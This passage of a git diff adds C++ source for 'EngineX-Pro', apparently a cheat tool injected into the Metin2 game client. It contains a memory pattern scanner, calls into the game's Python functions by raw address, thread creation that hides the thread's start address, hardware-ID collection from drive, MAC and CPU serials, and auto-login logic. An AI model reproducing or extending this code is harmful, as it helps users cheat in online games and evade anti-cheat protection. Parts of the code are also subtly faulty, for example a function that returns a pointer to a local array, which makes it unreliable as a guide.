VirtualFree((char*)page.address, 0, MEM_RELEASE); + } + m_pages.clear(); + } +} + +uint64_t PLH::PageAllocator::getBlock(const uint64_t size) { + + std::lock_guard lock(m_pageMtx); + + // Search available pages first + for (SplitPage& page : m_pages) { + const uint64_t unusedPtr = (uint64_t)PLH::AlignUpwards((char*)page.getUnusedAddr(), 64); + const uint64_t proposedEnd = unusedPtr + size; + const uint64_t pageEnd = page.address + WIN_PAGE_SZ; + if (m_regionStart <= unusedPtr && proposedEnd <= pageEnd) { + // size + alignment unusable space + page.unusedOffset += size + (unusedPtr - page.getUnusedAddr()); + return unusedPtr; + } + } + + const uint64_t searchSz = m_regionSize ? m_regionSize : std::numeric_limits::max(); + const uint64_t allocated = AllocateWithinRange(m_regionStart, searchSz); + if (allocated == 0) + return 0; + + SplitPage page; + page.address = allocated; + page.unusedOffset = 0; + m_pages.push_back(page); + + return getBlock(size); +} + diff --git a/EngineX-Pro/PatternScan.h b/EngineX-Pro/PatternScan.h new file mode 100644 index 0000000..5e46cfb --- /dev/null +++ b/EngineX-Pro/PatternScan.h @@ -0,0 +1,138 @@ +#pragma once +#include +#include +#pragma comment(lib, "dbghelp.lib") +class PatternScan +{ +public: + +#define INRANGE(x,a,b) (x >= a && x <= b) +#define getBits( x ) (INRANGE((x&(~0x20)),'A','F') ? ((x&(~0x20)) - 'A' + 0xa) : (INRANGE(x,'0','9') ? x - '0' : 0)) +#define getBYTE( x ) (getBits(x[0]) << 4 | getBits(x[1])) + + static DWORD FindPattern(const char* pPattern) + { + DWORD xd = NULL; + DWORD xdA = NULL; + DWORD xdB = NULL; + HMODULE hMod = GetModuleHandleA(NULL); + if (hMod) + { + PIMAGE_NT_HEADERS NtHeader = ImageNtHeader(hMod); + WORD NumSections = NtHeader->FileHeader.NumberOfSections; + PIMAGE_SECTION_HEADER Section = IMAGE_FIRST_SECTION(NtHeader); + for (WORD i = 0; i < 1; i++) + { + // printf("%-8s\t%x\t%x\t%x\n", Section->Name, Section->VirtualAddress, + // Section->PointerToRawData, Section->SizeOfRawData); + DWORD xd = Section->VirtualAddress; + DWORD xdA = Section->PointerToRawData; + DWORD xdB = Section->SizeOfRawData; + + Section++; + } + } + HMODULE handle = GetModuleHandle(NULL); + PIMAGE_DOS_HEADER pDsHeader = PIMAGE_DOS_HEADER(handle); + PIMAGE_NT_HEADERS pPeHeader = PIMAGE_NT_HEADERS((LONG)handle + pDsHeader->e_lfanew); + PIMAGE_OPTIONAL_HEADER pOptionalHeader = &pPeHeader->OptionalHeader; + DWORD base = xd; + DWORD size = xdB; + + unsigned int count = 0; + return PatternScan::Search(base, size, (unsigned char*)pPattern, count); + } + + static DWORD FindPatternGlobal(const char* pPattern, DWORD base, DWORD size) + { + unsigned int count = 0; + return PatternScan::Search(base, size, (unsigned char*)pPattern, count); + } + + static DWORD FindPattern2(std::string moduleName, std::string pattern) + { + const char* pat = pattern.c_str(); + DWORD firstMatch = 0; + DWORD rangeStart = (DWORD)GetModuleHandleA(moduleName.c_str()); + MODULEINFO miModInfo; + GetModuleInformation(GetCurrentProcess(), (HMODULE)rangeStart, &miModInfo, sizeof(MODULEINFO)); + DWORD rangeEnd = rangeStart + miModInfo.SizeOfImage; + for (DWORD pCur = rangeStart; pCur < rangeEnd; pCur++) + { + if (!*pat) + return firstMatch; + + if (*(PBYTE)pat == '\?' || *(BYTE*)pCur == getBYTE(pat)) + { + if (!firstMatch) + firstMatch = pCur; + + if (!pat[2]) + return firstMatch; + + if (*(PWORD)pat == '\?\?' || *(PBYTE)pat != '\?') + pat += 3; + + else + pat += 2; //one ? + } + else + { + pat = pattern.c_str(); + firstMatch = 0; + } + } + return NULL; + } + + static DWORD Search(DWORD base, DWORD size, unsigned char* pattern, unsigned int& instances) + { + + unsigned char* code = (unsigned char*)base; + int patternLength = strlen((char*)pattern); + + if (pattern[0] == ' ') + return NULL; + + + + for (unsigned int i(0); i < size; i++) + { + for (int j(0), k(0); j < patternLength && (i + k < size); k++) + { + unsigned char tempChar[3]; + memset(tempChar, 0, sizeof(tempChar)); + + if (pattern[j] == (unsigned char)'?') + { + j += 2; + continue; + } + + sprintf((char*)tempChar, "%02X", code[(i + k)]); + + if (tempChar[0] != pattern[j] || + tempChar[1] != pattern[j + 1]) + break; + + j += 3; + + if (j > (patternLength - 2)) + { + DWORD pointerLoc = (base + i + 1); + + instances++; + + --pointerLoc; + + + return pointerLoc; + } + } + } + + return NULL; + } + +}; + diff --git a/EngineX-Pro/ProcessExtension.h b/EngineX-Pro/ProcessExtension.h new file mode 100644 index 0000000..f3f81f8 --- /dev/null +++ b/EngineX-Pro/ProcessExtension.h @@ -0,0 +1,34 @@ +#pragma once +class ProcessExtension +{ +public: + static HANDLE CreateThreadSafe(const LPTHREAD_START_ROUTINE func, const LPVOID lParam) + { + const HANDLE hThread = CreateThread(nullptr, 0, nullptr, lParam, CREATE_SUSPENDED, nullptr); + if (!hThread) + { + __fastfail(1); + return 0; + } + + CONTEXT threadCtx; + threadCtx.ContextFlags = CONTEXT_INTEGER; + GetThreadContext(hThread, &threadCtx); +#ifdef _WIN64 + threadCtx.Rax = reinterpret_cast(func); +#else + threadCtx.Eax = reinterpret_cast(func); + threadCtx.ContextFlags = CONTEXT_INTEGER; +#endif + SetThreadContext(hThread, &threadCtx); + + if (ResumeThread(hThread) != 1 || ResumeThread(hThread) != NULL) + { + __fastfail(1); + return 0; + } + + return hThread; + } +}; + diff --git a/EngineX-Pro/ProtectExtension.h b/EngineX-Pro/ProtectExtension.h new file mode 100644 index 0000000..88173fa --- /dev/null +++ b/EngineX-Pro/ProtectExtension.h @@ -0,0 +1,223 @@ +#pragma once +class ProtectExtension +{ +public: + static string GetMacAdress() + { + IP_ADAPTER_INFO AdapterInfo[32]; + PIP_ADAPTER_INFO pAdapterInfo; + + DWORD dwSize = sizeof(AdapterInfo); + DWORD dwStatus = GetAdaptersInfo(AdapterInfo, &dwSize); + string address = ""; + + for (pAdapterInfo = AdapterInfo; pAdapterInfo; pAdapterInfo = pAdapterInfo->Next) + { + for (size_t i = 0; i < 6; i++) + { + char Out[10] = { 0 }; + int32_t k = pAdapterInfo->Address[i]; + sprintf_s(Out, "%s%02X", i ? "" : "", k); + address += Out; + } + } + return address; + } + + static DWORD GetVolumeId(string volumeLetter) + { + DWORD serialNum = 0; + + /*string volumePath = volumeLetter + ":\\"; + GetVolumeInformation(volumePath.c_str(), NULL, 0, &serialNum, NULL, NULL, NULL, 0);*/ + + + return serialNum; + } + + + static string GetCpuId() + { + int cpuinfo[4] = { 0, 0, 0, 0 }; + __cpuid(cpuinfo, 0); + string id; + for (int i = 0; i < 4; i++) + { + id += to_string(cpuinfo[i]) + "|"; + } + + return id; + } + + static string GetMachineName() + { + TCHAR computerName[1024]; + DWORD size = 1024; + GetComputerName(computerName, &size); + return StringExtension::StringFromWChar(computerName); + } + + static string GetHWID() + { + /*HW_PROFILE_INFO hwProfileInfo; + GetCurrentHwProfile(&hwProfileInfo); + wstring hwidWString = hwProfileInfo.szHwProfileGuid; + return StringExtension::StringFromWString(hwidWString);*/ + return""; + } +}; + +bool SetAdminPrivilege(char* PrivilegeName) // OK +{ + HANDLE TokenHandle; + + if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &TokenHandle) == 0) + { + return 0; + } + + LUID luid; + + if (LookupPrivilegeValue(0, PrivilegeName, &luid) == 0) + { + return 0; + } + + TOKEN_PRIVILEGES tp; + + memset(&tp, 0, sizeof(tp)); + + tp.PrivilegeCount = 1; + + tp.Privileges[0].Luid = luid; + + tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; + + if (AdjustTokenPrivileges(TokenHandle, 0, &tp, sizeof(tp), 0, 0) == 0) + { + return 0; + } + + return 1; +} +bool GetPhysicalDriveSerialNumber(int PhysicalDriveNumber, char* PhysicalDriveSerial, int PhysicalDriveSerialSize) // OK +{ + char PhysicalDrivePath[MAX_PATH]; + + wsprintf(PhysicalDrivePath, "\\\\.\\PhysicalDrive%d", PhysicalDriveNumber); + + HANDLE PhysicalDriveHandle = CreateFile(PhysicalDrivePath, 0, FILE_SHARE_READ | FILE_SHARE_WRITE, 0, OPEN_EXISTING, 0, 0); + + if (PhysicalDriveHandle == INVALID_HANDLE_VALUE) + { + return 0; + } + + DWORD BytesReturned; + + STORAGE_PROPERTY_QUERY StoragePropertyQuery; + + STORAGE_DESCRIPTOR_HEADER StorageDescriptorHeader; + + memset(&StoragePropertyQuery, 0, sizeof(StoragePropertyQuery)); + + memset(&StorageDescriptorHeader, 0, sizeof(StorageDescriptorHeader)); + + StoragePropertyQuery.PropertyId = StorageDeviceProperty; + + StoragePropertyQuery.QueryType = PropertyStandardQuery; + + if (DeviceIoControl(PhysicalDriveHandle, IOCTL_STORAGE_QUERY_PROPERTY, &StoragePropertyQuery, sizeof(StoragePropertyQuery), &StorageDescriptorHeader, sizeof(StorageDescriptorHeader), &BytesReturned, 0) == 0) + { + CloseHandle(PhysicalDriveHandle); + return 0; + } + + BYTE* PhysicalDriveBuff = new BYTE[StorageDescriptorHeader.Size]; + + memset(PhysicalDriveBuff, 0, StorageDescriptorHeader.Size); + + if (DeviceIoControl(PhysicalDriveHandle, IOCTL_STORAGE_QUERY_PROPERTY, &StoragePropertyQuery, sizeof(StoragePropertyQuery), PhysicalDriveBuff, StorageDescriptorHeader.Size, &BytesReturned, 0) == 0) + { + CloseHandle(PhysicalDriveHandle); + delete[] PhysicalDriveBuff; + return 0; + } + + if (((STORAGE_DEVICE_DESCRIPTOR*)PhysicalDriveBuff)->SerialNumberOffset == 0) + { + CloseHandle(PhysicalDriveHandle); + delete[] PhysicalDriveBuff; + return 0; + } + + __try + { + strcpy_s(PhysicalDriveSerial, PhysicalDriveSerialSize, (char*)(PhysicalDriveBuff + ((STORAGE_DEVICE_DESCRIPTOR*)PhysicalDriveBuff)->SerialNumberOffset)); + CloseHandle(PhysicalDriveHandle); + delete[] PhysicalDriveBuff; + return 1; + } + __except (EXCEPTION_EXECUTE_HANDLER) + { + CloseHandle(PhysicalDriveHandle); + delete[] PhysicalDriveBuff; + return 0; + } +} +string GetHardwareId() //OK +{ + char PhysicalDriveSerial[256]; + + memset(PhysicalDriveSerial, 0, sizeof(PhysicalDriveSerial)); + + for (int n = 0; n < 5; n++) + { + if (GetPhysicalDriveSerialNumber(n, PhysicalDriveSerial, sizeof(PhysicalDriveSerial)) != 0) + { + break; + } + } + + DWORD ComputerHardwareId1 = *(DWORD*)(&PhysicalDriveSerial[0x00]) ^ *(DWORD*)(&PhysicalDriveSerial[0x10]) ^ 0x3AD3B74A; + + DWORD ComputerHardwareId2 = *(DWORD*)(&PhysicalDriveSerial[0x04]) ^ *(DWORD*)(&PhysicalDriveSerial[0x14]) ^ 0x94FDC685; + + DWORD ComputerHardwareId3 = *(DWORD*)(&PhysicalDriveSerial[0x08]) ^ *(DWORD*)(&PhysicalDriveSerial[0x18]) ^ 0xF45BBF4C; + + DWORD ComputerHardwareId4 = *(DWORD*)(&PhysicalDriveSerial[0x0C]) ^ *(DWORD*)(&PhysicalDriveSerial[0x1C]) ^ 0x8941D8E7; + + static char HardwareId[36]; + + wsprintf(HardwareId, "%08X-%08X-%08X-%08X", ComputerHardwareId1, ComputerHardwareId2, ComputerHardwareId3, ComputerHardwareId4); + + return string(HardwareId); +} +//std::vector GetAllMacAddresses() +//{ +// std::vector macs; +// std::string address; +// +// // from: https://stackoverflow.com/questions/9034575/c-c-linux-mac-address-of-all-interfaces +// // ... just read /sys/class/net/eth0/address +// +// // NOTE: there may be more than one: /sys/class/net/*/address +// // (1) so walk /sys/class/net/* to find the names to read the address of. +// +// std::vector nets = GetAllFiles("/sys/class/net/", false); +// for (auto it = nets.begin(); it != nets.end(); ++it) +// { +// // we don't care about the local loopback interface +// if (0 == strcmp((*it).substr(-3).c_str(), "/lo")) +// continue; +// address.clear(); +// if (ReadFileContents(*it, "address", address)) +// { +// if (!address.empty()) +// { +// macs.push_back(address); +// } +// } +// } +// return macs; +//} \ No newline at end of file diff --git a/EngineX-Pro/Protection.h b/EngineX-Pro/Protection.h new file mode 100644 index 0000000..0abedb5 --- /dev/null +++ b/EngineX-Pro/Protection.h @@ -0,0 +1,98 @@ +#pragma once +class Protection :public IAbstractModuleBase, public Singleton +{ +private: + + string lastPlayerName=""; + bool isShowLogs = false; +public: + void OnStart() + { + + } + void OnStop() + { + + } + + void OnTab1() + { + ImGui::PushStyleVar(ImGuiStyleVar_ChildRounding, 5.0f); + ImGui::SetNextWindowBgAlpha(0.75f); + ImGui::BeginChild("ProtectionBorder", ImVec2(ImGui::GetWindowWidth() - 10, 310), true);; + ImGui::Checkbox("Whisper Logs", &Settings::PROTECTION_SHOW_WHISPER_LOGS_ENABLE); + ImGui::Checkbox("Whisper Balloon", &Settings::PROTECTION_SHOW_WHISPER_BALLOON_ENABLE); + ImGui::Checkbox("Whisper Beep", &Settings::PROTECTION_PLAY_WHISPER_BEEP_ENABLE); + ImGui::Checkbox("Whisper Restore Window", &Settings::PROTECTION_RESTORE_WISPER_WINDOW_ENABLE); + ImGui::Checkbox("Whisper Window Flash", &Settings::PROTECTION_FLASH_WHISPER_ICON_ENABLE); + + + ImGui::Checkbox("Normal Logs", &Settings::PROTECTION_SHOW_TALK_LOGS_ENABLE); + ImGui::Checkbox("Normal Balloon", &Settings::PROTECTION_SHOW_TALK_BALLOON_ENABLE); + ImGui::Checkbox("Normal Beep", &Settings::PROTECTION_PLAY_TALK_BEEP_ENABLE); + ImGui::Checkbox("Normal Window Flash", &Settings::PROTECTION_FLASH_TALK_ICON_ENABLE); + + ImGui::EndChild(); + ImGui::PopStyleVar(); + } + + void OnTab2() + { + ImGui::PushStyleVar(ImGuiStyleVar_ChildRounding, 5.0f); + ImGui::SetNextWindowBgAlpha(0.75f); + ImGui::BeginChild("DetectorBorder", ImVec2(ImGui::GetWindowWidth() - 10, 310), true);; + ImGui::Checkbox("Detect Player WaitHack", &Settings::MAIN_WH_DETECT_PLAYER_ENABLE); +#ifdef FISHBOT + ImGui::Checkbox("Detect Player FishBot", &Settings::FISH_DETECT_PLAYER_ENABLE); +#endif + ImGui::EndChild(); + ImGui::PopStyleVar(); + } + + void OnTabs() + { + MainForm::AddTab(50, "Protection"); + MainForm::AddTab(51, "Detector"); + } + + void OnMenu() + { + switch (MainForm::CurTabOpen) + { + case 50: + OnTab1(); + break; + case 51: + OnTab2(); + break; + } + } + + void OnRender() + { + } + + void OnUpdate() + { + if (Globals::Server == ServerName::METINPL) + { + if (Settings::PROTECTION_AUTO_LOGIN_ENABLE && DynamicTimer::CheckAutoSet("AutoLogin", 7000)) + { + if (GameFunctionsCustom::PlayerDirectEnter()) + { + Main::Instance().ResetSkillTimer(); + } + } + } + else + { + if (DynamicTimer::CheckAutoSet("AutoLogin", 3000) && Settings::PROTECTION_AUTO_LOGIN_ENABLE) + { + if (GameFunctionsCustom::PlayerDirectEnter()) + { + Main::Instance().ResetSkillTimer(); + } + } + } + } +}; \ No newline at end of file diff --git a/EngineX-Pro/PythonExtension.h b/EngineX-Pro/PythonExtension.h new file mode 100644 index 0000000..6de5168 --- /dev/null +++ b/EngineX-Pro/PythonExtension.h @@ -0,0 +1,1639 @@ +#pragma once +class PythonExtension +{ +public: + static unordered_map ModulesMap; + static map< string, string> functionPythonList; + static const char* CheckImportNames(const char* name, PyMethodDef* methods) + { +#if defined(PYTHON_ENABLE) + if (methods == NULL) + { + return name; + } + if (name == "zipimport") + { + return name; + } + for (int i = 0;; i++) + { + if (methods[i].ml_name == NULL) + { + return name; + } + string functionName = methods[i].ml_name; + + string moduleName = name; + + if (functionName.length() > 7) + { + for (map::iterator itor = functionPythonList.begin(); itor != functionPythonList.end(); itor++) + { + if (functionName == itor->first) + { + return (char*)itor->second.c_str(); + } + } + } + } +#endif + return name; + } + + typedef PyObject* PythonModuleFunction(PyObject* poSelf, PyObject* PoArgs); + + static bool PyTuple_GetFloat(PyObject* poArgs, int pos, float* ret) + { +#if defined(PYTHON_ENABLE) + PyObject* poItem = PyTuple_GetItem(poArgs, pos); + + if (!poItem) + return false; + + *ret = float(PyFloat_AsDouble(poItem)); + return true; +#endif + } + + static bool PyTuple_GetInteger(PyObject* poItem, int pos, int* ret) + { +#if defined(PYTHON_ENABLE) + if (!poItem) + return false; + + *ret = PyLong_AsLong(poItem); + +#endif + return true; + } + + static bool PyTuple_GetString(PyObject* poItem, int pos, const char** ret) + { +#if defined(PYTHON_ENABLE) + if (!poItem) + return false; + + if (!PyString_Check(poItem)) + return false; + + *ret = PyString_AsString(poItem); +#endif + return true; + } + + static int* GetPythonDoubleInt(DWORD addr) + { + int result[2]; +#if defined(PYTHON_ENABLE) + PythonModuleFunction* func = (PythonModuleFunction*)(addr); + PyObject* ret = func(NULL, NULL); //zmienilem to bo byl blad kompilacji //komar + if (!PyTuple_GetInteger(ret, 0, &result[0])) + { + result[0] = 0; + } + if (!PyTuple_GetInteger(ret, 1, &result[1])) + { + result[1] = 0; + } + Py_DECREF(ret); +#endif + return result; + } + + static int GetPythonInt(DWORD addr) + { + int result; +#if defined(PYTHON_ENABLE) + PythonModuleFunction* func = (PythonModuleFunction*)(addr); + PyObject* ret = func(NULL, NULL); + ret->ob_type->tp_dealloc(ret); + result = PyInt_AsLong(ret); + Py_DECREF(ret); +#endif + return result; + } + + static float GetPythonFloat(DWORD addr) + { + float result; +#if defined(PYTHON_ENABLE) + PythonModuleFunction* func = (PythonModuleFunction*)(addr); + PyObject* ret = func(NULL, NULL); + PyTuple_GetFloat(ret, 0, &result); + Py_DECREF(ret); +#endif + return result; + } + + static const char* GetPythonString0(DWORD addr) + { + const char* result; +#if defined(PYTHON_ENABLE) + PythonModuleFunction* func = (PythonModuleFunction*)(addr); + PyObject* ret = func(NULL, NULL); + if (!PyTuple_GetString(ret, 0, &result)) + { + result = ""; + } + Py_DECREF(ret); +#endif + return result; + } + + static const char* GetPythonString1(DWORD addr, int arg1) + { + const char* result; +#if defined(PYTHON_ENABLE) + PyObject* args = PyTuple_New(1); + PyTuple_SetItem(args, 0, PyInt_FromLong(arg1)); + PythonModuleFunction* func = (PythonModuleFunction*)(addr); + PyObject* ret = func(NULL, args); + if (!PyTuple_GetString(ret, 0, &result)) + { + result = ""; + } + Py_DECREF(ret); + Py_DECREF(args); +#endif + return result; + } + + static const char* GetPythonString2(DWORD addr, int arg1, int arg2) + { + const char* result; +#if defined(PYTHON_ENABLE) + PyObject* args = PyTuple_New(2); + PyTuple_SetItem(args, 0, PyInt_FromLong(arg1)); + PyTuple_SetItem(args, 1, PyInt_FromLong(arg2)); + PythonModuleFunction* func = (PythonModuleFunction*)(addr); + PyObject* ret = func(NULL, args); + if (!PyTuple_GetString(ret, 0, &result)) + { + result = ""; + } + Py_DECREF(ret); + Py_DECREF(args); +#endif + return result; + } + + static int GetPythonInteger1(DWORD addr, int arg1) + { + int result; +#if defined(PYTHON_ENABLE) + PyObject* args = PyTuple_New(1); + PyTuple_SetItem(args, 0, PyInt_FromLong(arg1)); + PythonModuleFunction* func = (PythonModuleFunction*)(addr); + PyObject* ret = func(NULL, args); + result = PyInt_AsLong(ret); + Py_DECREF(ret); + Py_DECREF(args); +#endif + return result; + } + + static int GetPythonInteger2(DWORD addr, int arg1, int arg2) + { + int result; +#if defined(PYTHON_ENABLE) + PyObject* args = PyTuple_New(2); + PyTuple_SetItem(args, 0, PyInt_FromLong(arg1)); + PyTuple_SetItem(args, 1, PyInt_FromLong(arg2)); + PythonModuleFunction* func = (PythonModuleFunction*)(addr); + PyObject* ret = func(NULL, args); + result = PyInt_AsLong(ret); + Py_DECREF(ret); + Py_DECREF(args); +#endif + return result; + } + + static int GetPythonInteger3(DWORD addr, int arg1, int arg2, int arg3) + { + int result; +#if defined(PYTHON_ENABLE) + PyObject* args = PyTuple_New(3); + PyTuple_SetItem(args, 0, PyInt_FromLong(arg1)); + PyTuple_SetItem(args, 1, PyInt_FromLong(arg2)); + PyTuple_SetItem(args, 2, PyInt_FromLong(arg3)); + PythonModuleFunction* func = (PythonModuleFunction*)(addr); + PyObject* ret = func(NULL, args); + result = PyInt_AsLong(ret); + Py_DECREF(ret); + Py_DECREF(args); +#endif + return result; + } + + static D3DVECTOR GetPythonD3DVECTOR1(DWORD addr, int arg1) + { + D3DVECTOR result{ 0,0,0 }; +#if defined(PYTHON_ENABLE) + PyObject* args = PyTuple_New(1); + printf("VID is %d\n", arg1); + PyTuple_SetItem(args, 0, PyInt_FromLong(arg1)); + PythonModuleFunction* func = (PythonModuleFunction*)(addr); + PyObject* ret = func(NULL, args); + if (PyTuple_Size(ret) == 3) + { + printf("Size is 3\n"); + PyTuple_GetFloat(ret, 0, &result.x); + PyTuple_GetFloat(ret, 1, &result.y); + PyTuple_GetFloat(ret, 2, &result.z); + } + printf("D3DVector result X:%1.f, Y:%1.f, Z:%1.f\n", result.x, result.y, result.z); + Py_DECREF(ret); + Py_DECREF(args); +#endif + return result; + } + + static void CallPython(DWORD addr) + { + PythonModuleFunction* func = (PythonModuleFunction*)(addr); + func(NULL, NULL); + } + + static void CallPythonFloat1(DWORD addr, float arg1) + { +#if defined(PYTHON_ENABLE) + PyObject* args = PyTuple_New(1); + PyTuple_SetItem(args, 0, PyFloat_FromDouble(arg1)); + PythonModuleFunction* func = (PythonModuleFunction*)(addr); + func(NULL, args); + Py_DECREF(args); +#endif + } + + static void CallPythonString2(DWORD addr, const char* arg1, const char* arg2) + { +#if defined(PYTHON_ENABLE) + PyObject* args = PyTuple_New(2); + PyTuple_SetItem(args, 0, PyString_FromString(arg1)); + PyTuple_SetItem(args, 1, PyString_FromString(arg2)); + PythonModuleFunction* func = (PythonModuleFunction*)(addr); + func(NULL, args); + Py_DECREF(args); +#endif + } + + static void CallPythonStringInt(DWORD addr, const char* arg1, int arg2) + { +#if defined(PYTHON_ENABLE) + PyObject* args = PyTuple_New(2); + PyTuple_SetItem(args, 0, PyString_FromString(arg1)); + PyTuple_SetItem(args, 1, PyInt_FromLong(arg2)); + PythonModuleFunction* func = (PythonModuleFunction*)(addr); + func(NULL, args); + Py_DECREF(args); +#endif + } + + static void CallPythonInteger1(DWORD addr, int arg1) + { +#if defined(PYTHON_ENABLE) + PyObject* args = PyTuple_New(1); + PyTuple_SetItem(args, 0, PyInt_FromLong(arg1)); + PythonModuleFunction* func = (PythonModuleFunction*)(addr); + func(NULL, args); + Py_DECREF(args); +#endif + } + + static void CallPythonInteger2(DWORD addr, int arg1, int arg2) + { +#if defined(PYTHON_ENABLE) + PyObject* args = PyTuple_New(2); + PyTuple_SetItem(args, 0, PyInt_FromLong(arg1)); + PyTuple_SetItem(args, 1, PyInt_FromLong(arg2)); + PythonModuleFunction* func = (PythonModuleFunction*)(addr); + func(NULL, args); + Py_DECREF(args); +#endif + } + + static void CallPythonInteger3(DWORD addr, int arg1, int arg2, int arg3) + { +#if defined(PYTHON_ENABLE) + PyObject* args = PyTuple_New(3); + PyTuple_SetItem(args, 0, PyInt_FromLong(arg1)); + PyTuple_SetItem(args, 1, PyInt_FromLong(arg2)); + PyTuple_SetItem(args, 2, PyInt_FromLong(arg3)); + PythonModuleFunction* func = (PythonModuleFunction*)(addr); + func(NULL, args); + Py_DECREF(args); +#endif + } + + static void CallPythonInteger4(DWORD addr, int arg1, int arg2, int arg3, int arg4) + { +#if defined(PYTHON_ENABLE) + PyObject* args = PyTuple_New(4); + PyTuple_SetItem(args, 0, PyInt_FromLong(arg1)); + PyTuple_SetItem(args, 1, PyInt_FromLong(arg2)); + PyTuple_SetItem(args, 2, PyInt_FromLong(arg3)); + PyTuple_SetItem(args, 3, PyInt_FromLong(arg4)); + PythonModuleFunction* func = (PythonModuleFunction*)(addr); + func(NULL, args); + Py_DECREF(args); +#endif + } + + static void CallPythonInteger5(DWORD addr, int arg1, int arg2, int arg3, int arg4, int arg5) + { +#if defined(PYTHON_ENABLE) + PyObject* args = PyTuple_New(5); + PyTuple_SetItem(args, 0, PyInt_FromLong(arg1)); + PyTuple_SetItem(args, 1, PyInt_FromLong(arg2)); + PyTuple_SetItem(args, 2, PyInt_FromLong(arg3)); + PyTuple_SetItem(args, 3, PyInt_FromLong(arg4)); + PyTuple_SetItem(args, 4, PyInt_FromLong(arg4)); + PythonModuleFunction* func = (PythonModuleFunction*)(addr); + func(NULL, args); + Py_DECREF(args); +#endif + } + + static void CallPythonIntIntString(DWORD addr, int arg1, int arg2, const char* arg3) + { +#if defined(PYTHON_ENABLE) + PyObject* args = PyTuple_New(3); + PyTuple_SetItem(args, 0, PyInt_FromLong(arg1)); + PyTuple_SetItem(args, 1, PyInt_FromLong(arg2)); + PyTuple_SetItem(args, 2, PyString_FromString(arg3)); + PythonModuleFunction* func = (PythonModuleFunction*)(addr); + func(NULL, args); + Py_DECREF(args); +#endif + } +}; + +std::unordered_map PythonExtension::ModulesMap; + +map< string, string> PythonExtension::functionPythonList = +{ +{ make_pair("Exist","pack") }, +{ make_pair("Get","pack") }, +{ make_pair("LogBox","dbg") }, +{ make_pair("Trace","dbg") }, +{ make_pair("Tracen","dbg") }, +{ make_pair("TraceError","dbg") }, +{ make_pair("RegisterExceptionString","dbg") }, +{ make_pair("Enable","ime") }, +{ make_pair("Disable","ime") }, +{ make_pair("EnableCaptureInput","ime") }, +{ make_pair("DisableCaptureInput","ime") }, +{ make_pair("SetMax","ime") }, +{ make_pair("SetUserMax","ime") }, +{ make_pair("SetText","ime") }, +{ make_pair("GetText","ime") }, +{ make_pair("GetCodePage","ime") }, +{ make_pair("GetCandidateCount","ime") }, +{ make_pair("GetCandidate","ime") }, +{ make_pair("GetCandidateSelection","ime") }, +{ make_pair("GetReading","ime") }, +{ make_pair("GetReadingError","ime") }, +{ make_pair("EnableIME","ime") }, +{ make_pair("DisableIME","ime") }, +{ make_pair("GetInputMode","ime") }, +{ make_pair("SetInputMode","ime") }, +{ make_pair("SetNumberMode","ime") }, +{ make_pair("SetStringMode","ime") }, +{ make_pair("AddExceptKey","ime") }, +{ make_pair("ClearExceptKey","ime") }, +{ make_pair("MoveLeft","ime") }, +{ make_pair("MoveRight","ime") }, +{ make_pair("MoveHome","ime") }, +{ make_pair("MoveEnd","ime") }, +{ make_pair("SetCursorPosition","ime") }, +{ make_pair("Delete","ime") }, +{ make_pair("PasteString","ime") }, +{ make_pair("PasteBackspace","ime") }, +{ make_pair("PasteReturn","ime") }, +{ make_pair("PasteTextFromClipBoard","ime") }, +{ make_pair("EnablePaste","ime") }, +{ make_pair("InitScreenEffect","grp") }, +{ make_pair("Culling","grp") }, +{ make_pair("ClearDepthBuffer","grp") }, +{ make_pair("Identity","grp") }, +{ make_pair("GenerateColor","grp") }, +{ make_pair("PopState","grp") }, +{ make_pair("PushState","grp") }, +{ make_pair("PushMatrix","grp") }, +{ make_pair("PopMatrix","grp") }, +{ make_pair("Translate","grp") }, +{ make_pair("Rotate","grp") }, +{ make_pair("SetColorRenderState","grp") }, +{ make_pair("SetAroundCamera","grp") }, +{ make_pair("SetPositionCamera","grp") }, +{ make_pair("SetEyeCamera","grp") }, +{ make_pair("SetPerspective","grp") }, +{ make_pair("SetOrtho2d","grp") }, +{ make_pair("SetOrtho3d","grp") }, +{ make_pair("SetColor","grp") }, +{ make_pair("SetAlpha","grp") }, +{ make_pair("SetDiffuseColor","grp") }, +{ make_pair("SetClearColor","grp") }, +{ make_pair("GetCursorPosition3d","grp") }, +{ make_pair("SetCursorPosition","grp") }, +{ make_pair("RenderLine","grp") }, +{ make_pair("RenderBox","grp") }, +{ make_pair("RenderRoundBox","grp") }, +{ make_pair("RenderBox3d","grp") }, +{ make_pair("RenderBar","grp") }, +{ make_pair("RenderBar3d","grp") }, +{ make_pair("RenderGradationBar","grp") }, +{ make_pair("RenderCube","grp") }, +{ make_pair("RenderDownButton","grp") }, +{ make_pair("RenderUpButton","grp") }, +{ make_pair("GetAvailableMemory","grp") }, +{ make_pair("SaveScreenShot","grp") }, +{ make_pair("SaveScreenShotToPath","grp") }, +{ make_pair("SetGamma","grp") }, +{ make_pair("SetInterfaceRenderState","grp") }, +{ make_pair("SetGameRenderState","grp") }, +{ make_pair("SetViewport","grp") }, +{ make_pair("RestoreViewport","grp") }, +{ make_pair("SetOmniLight","grp") }, +{ make_pair("GetCameraPosition","grp") }, +{ make_pair("GetTargetPosition","grp") }, +{ make_pair("CreateTextBar","grp") }, +{ make_pair("CreateBigTextBar","grp") }, +{ make_pair("DestroyTextBar","grp") }, +{ make_pair("RenderTextBar","grp") }, +{ make_pair("TextBarTextOut","grp") }, +{ make_pair("TextBarSetTextColor","grp") }, +{ make_pair("TextBarGetTextExtent","grp") }, +{ make_pair("ClearTextBar","grp") }, +{ make_pair("SetTextBarClipRect","grp") }, +{ make_pair("Render","grpImage") }, +{ make_pair("SetPosition","grpImage") }, +{ make_pair("Generate","grpImage") }, +{ make_pair("GenerateExpanded","grpImage") }, +{ make_pair("GenerateFromHandle","grpImage") }, +{ make_pair("Delete","grpImage") }, +{ make_pair("DeleteExpanded","grpImage") }, +{ make_pair("SetFileName","grpImage") }, +{ make_pair("SetOrigin","grpImage") }, +{ make_pair("SetRotation","grpImage") }, +{ make_pair("SetScale","grpImage") }, +{ make_pair("SetRenderingRect","grpImage") }, +{ make_pair("SetDiffuseColor","grpImage") }, +{ make_pair("GetWidth","grpImage") }, +{ make_pair("GetHeight","grpImage") }, +{ make_pair("Update","grpText") }, +{ make_pair("Render","grpText") }, +{ make_pair("Generate","grpText") }, +{ make_pair("Destroy","grpText") }, +{ make_pair("SetFontName","grpText") }, +{ make_pair("SetFontColor","grpText") }, +{ make_pair("SetOutLineColor","grpText") }, +{ make_pair("SetSecret","grpText") }, +{ 